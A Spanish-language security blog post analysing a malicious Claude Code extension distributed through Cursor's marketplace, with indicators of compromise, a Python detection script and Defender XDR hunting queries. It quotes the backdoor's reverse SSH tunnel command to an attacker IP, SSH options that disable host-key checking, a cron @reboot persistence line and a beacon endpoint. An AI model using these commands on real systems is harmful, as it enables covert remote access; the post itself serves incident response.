The Malicious Extension: cuando tu IDE se convierte en una puerta trasera

Una extensión aparentemente legítima de Claude Code distribuida a través del marketplace de Cursor terminó convirtiéndose en un mecanismo de persistencia mediante SSH. El incidente demuestra cómo la cadena de suministro de herramientas de desarrollo puede convertirse en un vector de compromiso de alto impacto.

Los entornos de desarrollo se han convertido en uno de los objetivos más atractivos para los operadores de amenazas. Una estación de trabajo utilizada por un desarrollador suele concentrar credenciales de GitHub, tokens de acceso a repositorios, claves SSH, credenciales cloud, secretos de CI/CD y acceso a infraestructuras de producción. Comprometer uno de estos equipos puede proporcionar algo mucho más valioso que el acceso a un endpoint convencional: una identidad con capacidad para modificar código, publicar paquetes y desplegar software.

A este escenario se añade una nueva superficie de ataque que está creciendo rápidamente: los asistentes de programación basados en inteligencia artificial y sus extensiones. Herramientas como Cursor, Visual Studio Code y Claude Code han ampliado considerablemente las capacidades de los IDE tradicionales, pero también han introducido nuevas dependencias, mecanismos de ejecución y canales de distribución de código de terceros.

El 29 de octubre de 2026, Cursor comunicó un incidente de seguridad que ilustra perfectamente este problema. Dos versiones de la extensión Anthropic.claude-code, concretamente 2.1.312 y 2.1.313, distribuidas desde su marketplace, contenían código malicioso que intentaba instalar una puerta trasera SSH persistente en los equipos de los usuarios.

No se trataba de una vulnerabilidad en Claude Code ni de un compromiso de la distribución oficial de Anthropic. Era una extensión modificada y distribuida a través de un canal de terceros. Microsoft confirmó que las versiones maliciosas no habían sido publicadas en Visual Studio Marketplace ni en el registro npm oficial de Anthropic.

El incidente estuvo activo aproximadamente desde las 02:27 hasta las 13:35 PDT del 29 de octubre. Durante ese intervalo, los usuarios que instalaron o actualizaron la extensión desde el marketplace de Cursor pudieron recibir el paquete manipulado.

La investigación de Microsoft permite reconstruir con bastante detalle el funcionamiento del payload, desde la recopilación inicial de información hasta la instalación de claves SSH, la creación de mecanismos de persistencia y el establecimiento de túneles inversos.

Referencias:

Del marketplace al código malicioso

Uno de los aspectos más interesantes del incidente es que el atacante no necesitó explotar una vulnerabilidad del editor ni comprometer directamente la infraestructura de Anthropic.

El vector de distribución fue el propio marketplace de Cursor.

Las versiones afectadas fueron:

ExtensiónVersiónPlataforma
Anthropic.claude-code2.1.312macOS ARM64
Anthropic.claude-code2.1.312Windows x64
Anthropic.claude-code2.1.313macOS ARM64
Anthropic.claude-code2.1.313Windows x64

El código modificado se encontraba en el fichero extension.js del paquete. La carga del módulo ejecutaba una función inyectada antes de inicializar el comportamiento normal de la extensión.

Esta circunstancia es especialmente relevante: el código malicioso no necesitaba esperar a que el usuario invocase una funcionalidad concreta de Claude Code. La propia inicialización de la extensión era suficiente para desencadenar las operaciones preparatorias del backdoor.

Desde el punto de vista de la cadena de suministro, esto cambia bastante el modelo de confianza. El usuario no había abierto un proyecto sospechoso, ejecutado un script descargado de Internet ni aceptado una operación especialmente peligrosa. Había instalado una extensión que aparentemente correspondía a una herramienta legítima.

Reconocimiento inicial: conocer el entorno comprometido

La primera fase del payload consistía en recopilar información sobre el sistema donde se estaba ejecutando.

El código obtenía datos como el nombre del equipo y usuario, sistema operativo, arquitectura, directorio personal, directorios de trabajo, correo configurado en Git y dirección IP pública.

También buscaba variables de entorno cuyos nombres contuvieran términos como KEY, TOKEN, SECRET, PASS, AWS o GCP.

Es importante distinguir entre recopilar los nombres de estas variables y robar sus valores. Microsoft documentó que el mecanismo de reconocimiento conservaba los nombres coincidentes, no los secretos contenidos en ellas. Esto no descarta que un atacante pudiera intentar acceder posteriormente a credenciales a través del backdoor.

La información recopilada se preparaba para su posterior envío al servidor controlado por el atacante.

Este reconocimiento resulta especialmente útil para identificar qué tipo de máquina se ha comprometido y qué superficie de acceso podría proporcionar. No es lo mismo infectar un equipo de desarrollo aislado que una estación con credenciales de AWS, acceso a Kubernetes y permisos de escritura sobre repositorios corporativos.

La instalación de la clave SSH: el verdadero objetivo

La parte más interesante del payload es la preparación de un mecanismo de acceso remoto basado en SSH.

El código incorporaba una clave pública Ed25519 que añadía al fichero authorized_keys del usuario afectado. El comentario asociado a esta clave era:

svc-telemetry

La operación permitía autorizar futuras conexiones SSH utilizando la clave privada correspondiente, siempre que el servicio SSH estuviera habilitado y correctamente configurado.

La modificación se realizaba sobre:

~/.ssh/authorized_keys

El payload comprobaba previamente si existía una entrada identificada mediante el comentario svc-telemetry. Si no la encontraba, añadía la clave pública.

La huella de la clave pública identificada por Microsoft es:

SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk

Este detalle es importante desde el punto de vista forense. El atacante no necesitaba explotar posteriormente el mecanismo de autenticación del usuario: estaba intentando introducir su propia identidad criptográfica entre las identidades autorizadas para acceder al equipo.

La implantación de esta clave no implica necesariamente que el atacante consiguiera acceso remoto. Para que la conexión entrante funcionase era necesario que el servicio SSH estuviera disponible y que las condiciones de privilegios y configuración del sistema lo permitieran.

Reverse SSH tunneling: convertir el equipo en un endpoint accesible

El siguiente componente de la operación era el establecimiento de un túnel SSH inverso.

En lugar de limitarse a abrir un servicio SSH accesible desde Internet, el malware intentaba establecer una conexión saliente hacia un servidor remoto controlado por el atacante.

La orden identificada en el análisis era:

ssh -N -R '*:0:localhost:22'

El parámetro -N indica que no se ejecutarán comandos remotos, mientras que -R solicita un reenvío de puertos inverso.

El uso de *:0 solicita al servidor SSH remoto que asigne un puerto de escucha disponible. Las conexiones recibidas en ese puerto se redirigirían hacia el puerto 22 de la máquina comprometida.

Attacker infrastructure
        |
        | Reverse SSH tunnel
        |
        v
Remote allocated port
        |
        | Port forwarding
        |
        v
127.0.0.1:22
        |
        v
Victim SSH service

El payload también utilizaba opciones destinadas a mantener la conexión y reducir las comprobaciones habituales de confianza SSH:

StrictHostKeyChecking=no
UserKnownHostsFile=/dev/null
ServerAliveInterval=30
ServerAliveCountMax=3
ExitOnForwardFailure=yes
IdentitiesOnly=yes

En sistemas Unix-like se utilizaba autossh cuando estaba disponible, con una alternativa basada en ssh. En Windows se implementaba un bucle de reintento mediante PowerShell.

La conexión intentaba alcanzar el servidor:

134.209.82[.]225

El servidor también recibía información de reconocimiento mediante una petición HTTP POST:

hxxp://134[.]209[.]82[.]225:8099/beacon

Hay que matizar que la existencia de un proceso SSH no demuestra por sí misma que el atacante consiguiera acceso. Tanto el servidor remoto como la configuración local debían permitir el túnel. Cursor indicó que los requisitos de privilegios administrativos impedían que el acceso SSH funcionase en la mayoría de los equipos macOS y Windows afectados.

Persistencia: sobrevivir al cierre del IDE

Una puerta trasera que depende exclusivamente de la ejecución de una extensión tiene una limitación evidente: desaparece cuando el proceso que la ejecuta deja de funcionar.

El malware intentaba solucionar este problema instalando mecanismos de persistencia independientes de la extensión.

macOS: LaunchAgent

En macOS, el payload creaba un LaunchAgent:

~/Library/LaunchAgents/com.apple.sysmond.plist

El nombre resulta llamativo porque imita la nomenclatura de componentes legítimos del sistema operativo.

El fichero configuraba la ejecución automática del script:

~/.config/.smt

También se utilizaba:

~/.config/.smtk

para almacenar el material necesario para reconstruir la identidad SSH empleada por el túnel.

La configuración del LaunchAgent utilizaba las propiedades habituales de ejecución al inicio de sesión y mantenimiento del proceso.

Linux: persistencia mediante cron

En sistemas Linux, el mecanismo identificado consistía en añadir una entrada @reboot al crontab del usuario:

@reboot /bin/sh "<HOME>/.config/.smt"

El script recuperaba el material de autenticación necesario y volvía a iniciar el proceso encargado de establecer el túnel SSH.

Los ficheros asociados eran:

~/.config/.smt
~/.config/.smtk

Es importante señalar que Microsoft documentó este comportamiento al analizar el loader, aunque Cursor identificó como plataformas de distribución afectadas macOS y Windows. No debe interpretarse la presencia de un mecanismo Linux en el análisis como prueba de que la extensión se distribuyera también para Linux.

Windows: Scheduled Tasks y Startup Folder

En Windows, el payload intentaba crear una tarea programada denominada:

SysMon

La tarea solicitaba ejecución bajo el contexto SYSTEM.

Para ello se utilizaba schtasks, y se preparaba un script de persistencia en:

%USERPROFILE%\.config\smt.cmd

La clave privada asociada al túnel se almacenaba en:

%USERPROFILE%\.config\smtk

Como mecanismo alternativo, el malware también preparaba un fichero en la carpeta de inicio del usuario:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd

El objetivo era mantener el proceso activo incluso después de cerrar Cursor o reiniciar el equipo.

Indicadores de compromiso

La investigación de Cursor y Microsoft proporciona una serie de indicadores que permiten buscar rastros del incidente.

Indicadores de red

IndicadorTipo
134.209.82.225Infraestructura remota
134.209.82.225:22Servidor SSH
134.209.82.225:8099/beaconEndpoint HTTP

Indicadores de sistema

PlataformaIndicador
macOS~/Library/LaunchAgents/com.apple.sysmond.plist
macOS / Linux~/.config/.smt
macOS / Linux~/.config/.smtk
LinuxEntrada cron @reboot
WindowsTarea programada SysMon
Windows%USERPROFILE%\.config\smt.cmd
Windows%USERPROFILE%\.config\smtk
Windowssysmon.cmd en Startup

Hashes SHA-256 de los paquetes manipulados

Cursor publicó los siguientes hashes:

# Version 2.1.312 - macOS ARM64
fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364

# Version 2.1.312 - Windows x64
3de1722901165769893bef57c72594e9a54423f3091b136b79966edd081

# Version 2.1.313 - macOS ARM64
80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c

# Version 2.1.313 - Windows x64
6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731

El SHA-256 del JavaScript malicioso identificado por Microsoft es:

ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15

Este último corresponde al punto de entrada JavaScript analizado, no al hash de los paquetes VSIX completos.

Hunting: construyendo un IOC Hunter multiplataforma

Hasta aquí hemos reconstruido el comportamiento del malware y recopilado sus indicadores. Pero, desde una perspectiva de respuesta a incidentes, la pregunta realmente interesante es cómo automatizar la búsqueda de estos artefactos en una flota de estaciones de trabajo.

Podemos construir un pequeño IOC Hunter en Python que examine los principales puntos de persistencia y genere un informe estructurado en JSON.

El objetivo no es desarrollar un antivirus ni sustituir una solución EDR. Se trata de disponer de una herramienta sencilla que permita realizar una primera comprobación, recopilar evidencias y facilitar su posterior correlación con los registros de telemetría.

El script será compatible con Python 3 y utilizará exclusivamente módulos de la biblioteca estándar. No necesita instalar dependencias adicionales y no realiza operaciones destructivas.

La lógica de detección se divide en seis bloques:

  • Inspección de authorized_keys y búsqueda del marcador svc-telemetry.
  • Identificación de los scripts y ficheros de identidad asociados al malware.
  • Inspección de LaunchAgents en macOS.
  • Revisión de entradas cron en Linux.
  • Comprobación de tareas programadas y Startup Folder en Windows.
  • Búsqueda de procesos SSH sospechosos y conexiones asociadas a la infraestructura identificada.

El código del IOC Hunter

Guardaremos el siguiente código como cursor_ioc_hunter.py:

#!/usr/bin/env python3

import os
import sys
import json
import glob
import hashlib
import platform
import subprocess
from pathlib import Path
from datetime import datetime, timezone


IOC_IP = "134.209.82.225"
IOC_KEY = "svc-telemetry"
IOC_FINGERPRINT = (
    "SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk"
)

SUSPICIOUS_NAMES = (
    ".smt",
    ".smtk",
    "smt.cmd",
    "smtk",
    "sysmon.cmd",
    "com.apple.sysmond.plist"
)

results = []


def record(category, indicator, path=None,
           evidence=None, severity="medium"):

    results.append({
        "category": category,
        "indicator": indicator,
        "path": str(path) if path else None,
        "evidence": evidence,
        "severity": severity
    })


def run_command(command, timeout=8):

    try:
        proc = subprocess.run(
            command,
            capture_output=True,
            text=True,
            timeout=timeout,
            errors="replace"
        )

        return proc.stdout + proc.stderr

    except (OSError, subprocess.TimeoutExpired):
        return ""


def inspect_authorized_keys():

    candidates = [
        Path.home() / ".ssh" / "authorized_keys"
    ]

    if sys.platform == "win32":
        candidates.append(
            Path(os.environ.get("ProgramData", "C:/ProgramData"))
            / "ssh" / "administrators_authorized_keys"
        )

    for path in candidates:

        if not path.is_file():
            continue

        try:
            for number, line in enumerate(
                path.read_text(errors="replace").splitlines(), 1
            ):

                if IOC_KEY in line:

                    record(
                        "ssh_authorized_keys",
                        IOC_KEY,
                        path,
                        f"Line {number}: {line.strip()}",
                        "critical"
                    )

        except OSError as exc:
            record("read_error", "authorized_keys",
                   path, str(exc))


def inspect_persistence_files():

    home = Path.home()

    candidates = [
        home / ".config" / ".smt",
        home / ".config" / ".smtk",
        home / ".config" / "smt.cmd",
        home / ".config" / "smtk",
        home / "Library" / "LaunchAgents"
            / "com.apple.sysmond.plist",
        Path(os.environ.get("APPDATA", ""))
            / "Microsoft" / "Windows" / "Start Menu"
            / "Programs" / "Startup" / "sysmon.cmd"
    ]

    for path in candidates:

        if path.is_file():

            record(
                "persistence_file",
                path.name,
                path,
                "Known artifact exists",
                "high"
            )

    # Identidades temporales .stk_<10 hex>
    for base in (home / ".ssh", Path("/tmp")):

        if base.is_dir():

            for path in base.glob(".stk_*"):

                record(
                    "temporary_ssh_identity",
                    path.name,
                    path,
                    "Temporary identity filename pattern",
                    "high"
                )


def inspect_macos():

    if sys.platform != "darwin":
        return

    launch_agent = (
        Path.home() / "Library" / "LaunchAgents"
        / "com.apple.sysmond.plist"
    )

    if launch_agent.exists():

        record(
            "macos_launchagent",
            "com.apple.sysmond",
            launch_agent,
            "Suspicious LaunchAgent exists",
            "critical"
        )

        output = run_command([
            "plutil", "-p", str(launch_agent)
        ])

        if output:
            record(
                "launchagent_configuration",
                "plist content",
                launch_agent,
                output[:4000],
                "high"
            )


def inspect_linux():

    if not sys.platform.startswith("linux"):
        return

    cron = run_command(["crontab", "-l"])

    for line in cron.splitlines():

        if ".config/.smt" in line:

            record(
                "linux_cron",
                "smt @reboot",
                None,
                line.strip(),
                "critical"
            )


def inspect_windows():

    if sys.platform != "win32":
        return

    tasks = run_command([
        "schtasks", "/query", "/fo", "LIST", "/v"
    ], timeout=15)

    if "SysMon" in tasks and "smt" in tasks.lower():

        record(
            "windows_scheduled_task",
            "SysMon",
            None,
            "Task output contains SysMon and smt",
            "critical"
        )

    startup = Path(
        os.environ.get("APPDATA", "")
    ) / "Microsoft" / "Windows" / "Start Menu" \
      / "Programs" / "Startup"

    if startup.is_dir():

        for path in startup.glob("*.cmd"):

            if path.name.lower() == "sysmon.cmd":

                record(
                    "windows_startup",
                    "sysmon.cmd",
                    path,
                    "Known startup artifact exists",
                    "critical"
                )


def inspect_processes():

    if sys.platform == "win32":

        output = run_command([
            "powershell", "-NoProfile", "-Command",
            "Get-CimInstance Win32_Process | "
            "Select-Object ProcessId,Name,CommandLine | "
            "ConvertTo-Json -Compress"
        ], timeout=15)

        try:
            processes = json.loads(output)
            if isinstance(processes, dict):
                processes = [processes]
        except (ValueError, TypeError):
            processes = []

        for proc in processes:

            command = str(proc.get("CommandLine") or "")

            if (
                IOC_IP in command
                or ".stk_" in command
                or ".smt" in command
            ):
                record(
                    "process",
                    proc.get("Name", "unknown"),
                    None,
                    command[:1000],
                    "high"
                )

    else:

        output = run_command(["ps", "-eo", "pid,args"])

        for line in output.splitlines():

            if (
                IOC_IP in line
                or ".stk_" in line
                or ".smt" in line
            ):
                record(
                    "process",
                    "suspicious command line",
                    None,
                    line.strip()[:1000],
                    "high"
                )


def inspect_extension_packages():

    home = Path.home()

    locations = [
        home / ".cursor" / "extensions",
        home / ".vscode" / "extensions",
        home / ".vscode-insiders" / "extensions"
    ]

    for location in locations:

        if not location.is_dir():
            continue

        for package in location.glob(
            "anthropic.claude-code-*"
        ):

            manifest = package / "package.json"

            if not manifest.is_file():
                continue

            try:
                data = json.loads(
                    manifest.read_text(errors="replace")
                )

                version = data.get("version", "unknown")

                if version in ("2.1.312", "2.1.313"):

                    record(
                        "extension_version",
                        version,
                        package,
                        "Potentially affected extension version",
                        "critical"
                    )

            except (OSError, ValueError):
                record(
                    "extension_manifest_error",
                    "package.json",
                    manifest,
                    "Unable to parse manifest"
                )


def inspect_network_history():

    # Búsqueda limitada a procesos y ficheros.
    # No se realiza una conexión al IOC.

    if sys.platform == "win32":
        return

    output = run_command([
        "sh", "-c",
        "command -v lsof >/dev/null 2>&1 && "
        "lsof -nP -i 2>/dev/null"
    ])

    for line in output.splitlines():

        if IOC_IP in line:

            record(
                "network_connection",
                IOC_IP,
                None,
                line.strip(),
                "critical"
            )


def main():

    print("[+] Cursor Extension IOC Hunter")
    print("[+] Platform:", platform.platform())
    print("[+] User:", os.environ.get("USER") or
          os.environ.get("USERNAME"))

    inspect_authorized_keys()
    inspect_persistence_files()
    inspect_macos()
    inspect_linux()
    inspect_windows()
    inspect_processes()
    inspect_extension_packages()
    inspect_network_history()

    report = {
        "tool": "Cursor Extension IOC Hunter",
        "timestamp": datetime.now(
            timezone.utc
        ).isoformat(),
        "hostname": platform.node(),
        "platform": platform.platform(),
        "findings": results,
        "total_findings": len(results)
    }

    filename = (
        "cursor_ioc_report_"
        + datetime.now(timezone.utc).strftime(
            "%Y%m%d_%H%M%S"
        )
        + ".json"
    )

    with open(filename, "w", encoding="utf-8") as f:
        json.dump(report, f, indent=4, ensure_ascii=False)

    print("\n[+] Findings:", len(results))
    print("[+] Report:", filename)

    for finding in results:

        print(
            "[{}] {}: {}".format(
                finding["severity"].upper(),
                finding["category"],
                finding["indicator"]
            )
        )

    if not results:
        print(
            "\n[!] No known indicators found. "
            "This does not prove the host is clean."
        )


if __name__ == "__main__":
    main()

Ejecución

No necesitamos instalar ningún paquete adicional:

python3 cursor_ioc_hunter.py

En Windows podemos ejecutarlo desde PowerShell:

py -3 .\cursor_ioc_hunter.py

El script genera un fichero con un nombre similar a:

cursor_ioc_report_20261102_210000.json

El resultado tendrá una estructura similar a esta:

{
    "tool": "Cursor Extension IOC Hunter",
    "timestamp": "2026-11-02T20:10:00+00:00",
    "hostname": "DEV-WORKSTATION",
    "platform": "Windows-11-10.0.26200",
    "findings": [
        {
            "category": "ssh_authorized_keys",
            "indicator": "svc-telemetry",
            "path": "C:\\Users\\developer\\.ssh\\authorized_keys",
            "evidence": "Line 4: ssh-ed25519 ... svc-telemetry",
            "severity": "critical"
        },
        {
            "category": "extension_version",
            "indicator": "2.1.313",
            "path": "C:\\Users\\developer\\.cursor\\extensions\\anthropic.claude-code-2.1.313",
            "evidence": "Potentially affected extension version",
            "severity": "critical"
        }
    ],
    "total_findings": 2
}

El JSON anterior es un ejemplo ilustrativo, no el resultado de ejecutar el programa sobre un equipo infectado.

Interpretación de los resultados

El IOC Hunter diferencia entre indicadores de distinta naturaleza. Encontrar una versión vulnerable de la extensión es una señal de exposición potencial, pero no demuestra que el payload se haya ejecutado. Del mismo modo, encontrar el comentario svc-telemetry en authorized_keys constituye una evidencia mucho más relevante, aunque siempre conviene verificar la clave completa y su huella.

También es importante considerar las limitaciones del script. La búsqueda de procesos y conexiones depende de las herramientas disponibles y de los permisos del usuario. No inspecciona toda la telemetría histórica de red, no analiza memoria, no verifica todas las rutas posibles de instalación de extensiones y no sustituye la revisión de los registros del endpoint.

Por tanto, un resultado sin hallazgos no debe interpretarse como garantía de que el sistema esté limpio.

Hunting avanzado con Microsoft Defender XDR

Para entornos corporativos que dispongan de Microsoft Defender XDR, podemos ampliar las comprobaciones utilizando Advanced Hunting.

La primera consulta permite localizar conexiones con la infraestructura identificada:

DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP == "134.209.82.225"
    or RemoteUrl has "134.209.82.225"
| project Timestamp,
          DeviceName,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          RemoteIP,
          RemotePort,
          RemoteUrl
| order by Timestamp desc

También podemos buscar la creación de ficheros asociados a la persistencia:

DeviceFileEvents
| where Timestamp > ago(30d)
| where SHA256 ==
    "ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15"
    or FileName in~ (
        ".smt",
        ".smtk",
        "smt.cmd",
        "smtk",
        "sysmon.cmd",
        "com.apple.sysmond.plist"
    )
    or FileName startswith ".stk_"
| project Timestamp,
          DeviceName,
          ActionType,
          FolderPath,
          FileName,
          SHA256,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine
| order by Timestamp desc

Para identificar posibles tareas programadas:

DeviceEvents
| where Timestamp > ago(30d)
| where ActionType == "ScheduledTaskCreated"
| where AdditionalFields has "SysMon"
    and AdditionalFields has "smt"
| project Timestamp,
          DeviceName,
          AccountName,
          AdditionalFields,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine

Y para buscar el LaunchAgent:

DeviceEvents
| where ActionType == "PlistPropertyModified"
| where FolderPath has "com.apple.sysmond.plist"
| project Timestamp,
          DeviceName,
          ActionType,
          FolderPath,
          InitiatingProcessFileName

Estas consultas proporcionan pistas de investigación, no veredictos automáticos. Deben ejecutarse con la cobertura de telemetría correspondiente y correlacionarse con los eventos de instalación, ejecución y actividad de red.

Respuesta ante el incidente

Cursor retiró las versiones maliciosas del marketplace, interrumpió temporalmente su disponibilidad mientras investigaba el incidente, rotó sus claves y reconstruyó la infraestructura de distribución.

Un aspecto importante es que desinstalar la extensión no resulta suficiente. Los scripts y mecanismos de persistencia se instalaban fuera del directorio de la extensión, por lo que podían continuar funcionando después de eliminarla.

En equipos donde se confirme la ejecución del payload, el procedimiento debería incluir:

  1. Contención del endpoint y preservación de evidencias.
  2. Revisión de las claves SSH autorizadas y retirada de las entradas no autorizadas.
  3. Inspección y eliminación controlada de los mecanismos de persistencia.
  4. Identificación de procesos SSH y túneles relacionados.
  5. Rotación de credenciales y revocación de sesiones desde un equipo limpio.
  6. Evaluación de la necesidad de reconstruir el sistema.

Cursor publicó scripts específicos de comprobación y remediación para macOS y Windows en su aviso de seguridad. Es preferible utilizar esos procedimientos oficiales y validar los resultados antes de considerar recuperado el equipo.

Detección mediante MITRE ATT&CK

El comportamiento observado puede mapearse a varias técnicas de MITRE ATT&CK:

TécnicaIdentificadorComportamiento
SSH Authorized KeysT1098.004Añadir una clave SSH no autorizada
Protocol TunnelingT1572Crear un túnel SSH inverso
CronT1053.003Persistencia mediante cron
Scheduled TaskT1053.005Persistencia mediante tareas programadas

Estas técnicas describen las capacidades identificadas en el código, no implican que todas se ejecutasen correctamente en cada equipo.

Conclusiones: el nuevo perímetro también está dentro del IDE

Durante años, la seguridad de los entornos de desarrollo se ha centrado principalmente en proteger los repositorios, los sistemas de CI/CD, los registros de paquetes y las credenciales de despliegue. Sin embargo, el incidente de Cursor demuestra que el propio editor puede convertirse en un punto de entrada a toda esa infraestructura.

Las extensiones de un IDE no son simples complementos visuales. Pueden ejecutar código, interactuar con el sistema de archivos, iniciar procesos y operar dentro del contexto de seguridad del usuario. Cuando ese usuario es un desarrollador con acceso a infraestructura corporativa, el impacto potencial es considerable.

La integración de asistentes de programación basados en IA añade todavía más complejidad. Los desarrolladores instalan extensiones, servidores MCP, herramientas auxiliares y paquetes que amplían las capacidades de sus asistentes. Cada nueva integración supone una dependencia adicional que debe ser tratada como parte de la superficie de ataque.

El problema no es exclusivamente Cursor ni Claude Code. Es un modelo de confianza que afecta a todo el ecosistema de herramientas de desarrollo.

Quizá la pregunta que deberían hacerse ahora los equipos de seguridad no sea únicamente qué extensiones tienen instaladas sus desarrolladores, sino qué permisos tienen, qué código ejecutan realmente y qué ocurre cuando una actualización aparentemente legítima introduce un payload diseñado para mantener acceso remoto al sistema.

Porque, en este escenario, comprometer el IDE puede ser suficiente para comprometer mucho más que el propio equipo.

Referencias

Comentarios